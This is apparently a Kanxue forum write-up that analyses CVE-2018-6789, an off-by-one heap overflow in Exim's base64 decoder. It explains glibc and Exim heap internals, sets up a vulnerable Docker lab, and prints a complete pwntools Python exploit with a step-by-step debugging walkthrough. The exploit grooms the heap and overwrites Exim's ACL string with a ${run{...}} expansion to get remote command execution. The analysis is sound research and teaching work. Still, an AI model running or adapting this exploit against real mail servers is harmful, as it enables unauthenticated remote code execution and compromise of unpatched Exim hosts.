CVE-2018-6789 Exim Off-by-one漏洞分析
看到網上有關於這個漏洞的EXP和文章了,這兩天仔細調試分析之後覺得這個漏洞還是很有趣的,分享一下。
漏洞原理
來看一下github上的補丁[5]。
exim分配3*(len/4)+1個位元組來存儲解碼後的數據。如果解碼前的數據有4n+3個位元組,exim會分配3n+1個位元組但是實際解碼後的數據有3n+2個位元組,這就在堆上造成了一位元組的溢出(off-by-one)。
基礎知識
exim有一套自己的內存管理系統。
exim中的store_free()和store_malloc()直接調用glibc中的malloc()和free()。glibc會在開頭使用0x10位元組(x86-64)存儲一些信息,並且返回緊隨其後的數據區的地址。
開頭的0x10位元組包括前一個chunk的大小、當前chunk的大小和一些標誌等信息。size的前三位用於存儲標誌。上圖0x81的意思是當前chunk的大小是0x80位元組,並且前一個chunk在使用中。
在exim中使用的大部分已釋放的chunk被放入一個稱為unsorted bin的雙向鏈表。glibc根據標誌維護它,並將相鄰的已釋放chunk合併到一個更大的塊中以避免碎片化。對於每個分配請求,glibc都會以先進先出的順序檢查這些chunk並重新使用。
由於性能上的考慮,exim使用store_get(),store_release(),store_extend()和store_reset()維護自己的鏈表結構。
storeblock的主要特點是每個block至少有0x2000個位元組並且storeblock也是chunk中的數據。在內存中如下圖所示。
下面是與堆分配有關的函數。
1.EHLO hostname:exim調用store_free()釋放舊的hostname,調用store_malloc()存儲新的hostname。
/* Discard any previous helo name */if (sender_helo_name != NULL){store_free(sender_helo_name);sender_helo_name = NULL;}if (yield) sender_helo_name = string_copy_malloc(start);return yield;
2.unknown command:exim調用store_get()分配一個緩衝區將具有不可列印字元的無法識別的命令轉換為可列印字元。
const uschar *string_printing2(const uschar *s, BOOL allow_tab){int nonprintcount = 0;int length = 0;const uschar *t = s;uschar *ss, *tt;while (*t != 0){int c = *t++;if (!mac_isprint(c) || (!allow_tab && c == )) nonprintcount++;length++;}if (nonprintcount == 0) return s;/* Get a new block of store guaranteed big enough to hold theexpanded string. */ss = store_get(length + nonprintcount * 3 + 1);
3.EHLO/HELO,MAIL,RCPT中的reset:當命令正確完成時exim調用smtp_reset(),釋放上一個命令之後所有由store_get()分配的storeblock。
intsmtp_setup_msg(void){int done = 0;BOOL toomany = FALSE;BOOL discarded = FALSE;BOOL last_was_rej_mail = FALSE;BOOL last_was_rcpt = FALSE;void *reset_point = store_get(0);DEBUG(D_receive) debug_printf("smtp_setup_msg entered
");/* Reset for start of new message. We allow one RSET not to be counted as anonmail command, for those MTAs that insist on sending it between everymessage. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out ofTLS between messages (an Exim client may do this if it has messages queued upfor the host). Note: we do NOT reset AUTH at this point. */smtp_reset(reset_point);
4.AUTH:在大多數身份驗證過程中,exim使用base64編碼與客戶端進行通信。編碼的和解碼的字元串存儲在一個store_get()分配的緩衝區中。
環境搭建
github上已經有現成的docker環境和EXP了[3],為了省事就直接用這個環境在docker裡面調試。
sudo docker run --cap-add=SYS_PTRACE -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789
--cap-add=SYS_PTRACE命令是因為docker的安全設置問題,為了能夠在docker內使用gdb調試,否則會提示ptrace:Operation not permitted。
接下來sudo docker ps看一下CONTAINER ID,sudo docker exec -i -t xxxxxx /bin/bash(xxxxxx是CONTAINER ID)進入docker,apt-get update之後apt-get install gdb再安裝gdb插件GEF。接下來需要修改原來的EXP。為了調試方便去掉多線程爆破繞過ASLR的部分,假定已經知道了acl_smtp_mail的地址(之後再詳細解釋),將IP硬編碼為127.0.0.1,在每一個步驟結束之後都添加raw_input使得程序停下方便我們在gdb中觀察等等。總之修改後的EXP如下。
#!/usr/bin/python# -*- coding: utf-8 -*-from pwn import *import timefrom base64 import b64encodefrom threading import Thread def ehlo(tube, who):time.sleep(0.2)tube.sendline("ehlo "+who)tube.recv()def docmd(tube, command):time.sleep(0.2)tube.sendline(command)tube.recv()def auth(tube, command):time.sleep(0.2)tube.sendline("AUTH CRAM-MD5")tube.recv()time.sleep(0.2)tube.sendline(command)tube.recv()def execute_command():global ipip = "127.0.0.1"command="/usr/bin/touch /tmp/success"context.log_level=warnings = remote(ip, 25) # 1. put a huge chunk into unsorted bin log.info("send ehlo")ehlo(s, "a"*0x1000) # 0x2020raw_input("after 0x1000")ehlo(s, "a"*0x20)raw_input("after 0x20") # 2. cut the first storeblock by unknown commandlog.info("send unknown command")docmd(s, "xee"*0x700)raw_input("after 0x700") # 3. cut the second storeblock and release the first onelog.info("send ehlo again to cut storeblock")ehlo(s, "c"*0x2c00)raw_input("after 0x2c00") # 4. send base64 data and trigger off-by-onelog.info("overwrite one byte of next chunk")docmd(s, "AUTH CRAM-MD5")payload1 = "d"*(0x2020+0x30-0x18-1)docmd(s, b64encode(payload1)+"EfE")raw_input("after payload1") # 5. forge chunk sizelog.info("forge chunk size")docmd(s, "AUTH CRAM-MD5")payload2 = m*0x70+p64(0x1f41) docmd(s, b64encode(payload2))raw_input("after payload2") # 6. release extended chunklog.info("resend ehlo")ehlo(s, "skysider+")raw_input("after release extended chunk")# 7. overwrite next pointer of overlapped storeblocklog.info("overwrite next pointer of overlapped storeblock")docmd(s, "AUTH CRAM-MD5")try_addr = 0xf59payload3 = a*0x2bf0 + p64(0x0) + p64(0x2021) + p8(0x80)+p64(try_addr*0x10+4)try:docmd(s, b64encode(payload3)) raw_input("after payload3")# 8. reset storeblocks and retrive the ACL storeblocklog.info("reset storeblock")ehlo(s, "crashed")raw_input("after realease storeblock")# 9. overwrite acl stringslog.info("overwrite acl strings")payload4 = a*0x18 + p64(0xb1) + t*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)payload4 += t*(0x1f80-len(payload4))auth(s, b64encode(payload4)+ee)raw_input("after payload4")payload5 = "a"*0x78 + "${run{" + command + "}}x00"auth(s, b64encode(payload5)+"ee")raw_input("after payload5")# 10. trigger acl checklog.info("trigger acl check and execute command")s.sendline("MAIL FROM: <test@163.com>")s.close()return 1except:s.close()return 0if __name__ == __main__:execute_command()
調試過程
1.ehlo 0x1000個位元組
2.ehlo 0x20個位元組,上一次的0x1000個位元組被釋放
3.發送unknown command,分配一個新的storeblock
4.ehlo 0x2c00個位元組,回收unknown command分配的內存,由於之前的sender_host_name佔用的內存已經釋放,所以會空出0x30+0x2020=0×2050個位元組
5.AUTH,觸發Off-by-one,改掉chunk大小
從2c10改成2cf1之後下一個chunk應該從0xf7a0e0+0x2cf0=0xf7cdd0開始,但是這裡現在是沒有數據的,所以下一步需要在這裡偽造數據。
6.AUTH,偽造chunk頭
7.釋放這個被改掉大小的chunk
8.AUTH,改掉storeblock的next指針,令其指向acl字元串所在的storeblock
這裡就要多解釋一下了,一組全局指針指向ACL字元串,如下所示。
uschar *acl_smtp_auth;uschar *acl_smtp_data;uschar *acl_smtp_etrn;uschar *acl_smtp_expn;uschar *acl_smtp_helo;uschar *acl_smtp_mail;uschar *acl_smtp_quit;uschar *acl_smtp_rcpt;
這些指針在exim進程開始時初始化,根據配置進行設置。例如,如果配置中有acl_smtp_mail=acl_check_mail這一行,指針acl_smtp_mail指向字元串acl_check_mail。無論何時使用MAIL FROM,exim都會執行ACL檢查,嘗試在遇到${run{cmd}}時執行命令。因此只要控制ACL字元串,就可以實現代碼執行。因為不需要直接劫持程序控制流程,因此可以輕鬆地繞過諸如PIE、NX等緩解措施。在docker環境的配置文件中包含了acl_smtp_mail=acl_check_mail和acl_smtp_data=acl_check_data,因此這種方法是可行的。
x/18gx &acl_smtp_mail可以得到0xf59508這個地址,在EXP中硬編碼了try_addr=0xf59,所以經過計算將next指針覆蓋為0xf59480。在docker環境中也只是需要爆破這12位。
9.釋放storeblock之後包含acl的storeblock被回收到unsorted bin中
10.AUTH,payload4用來佔位,和上圖相比unsorted bin中少了兩個chunk,下一步就可以覆蓋0xf59480這個chunk
11.AUTH,payload5用來覆蓋acl字元串
12.萬事俱備,觸發acl檢查,代碼執行,touch命令創建了/tmp/success文件
雖然漏洞發現者聲稱可以繞過ASLR,但並沒有公開EXP。在實際環境中還受到exim配置和版本等影響,完全通用較為困難。
參考資料
1.Exim Off-by-one(CVE-2018-6789)漏洞復現分析
2.Exim Off-by-one RCE漏洞(CVE-2018-6789)利用分析(附EXP)
3.https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
4.Exim Off-by-one RCE: Exploiting CVE-2018-6789 with Fully Mitigations Bypassing
5. https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
本文由看雪論壇 houjingyi 原創 轉載請註明來自看雪社區
更多技術乾貨,請關注看雪學院公眾號:ikanxue!
推薦閱讀:
※SRC漏洞挖掘小見解
※如何評價「中國互聯網安全廠商在漏洞挖掘及防禦方面的地位舉足輕重」這句話?
※「你的深度學習框架包含15個漏洞」,360說 | 附論文
※漏洞攻擊與防護_攻擊面(Attack Surface)研究資源整理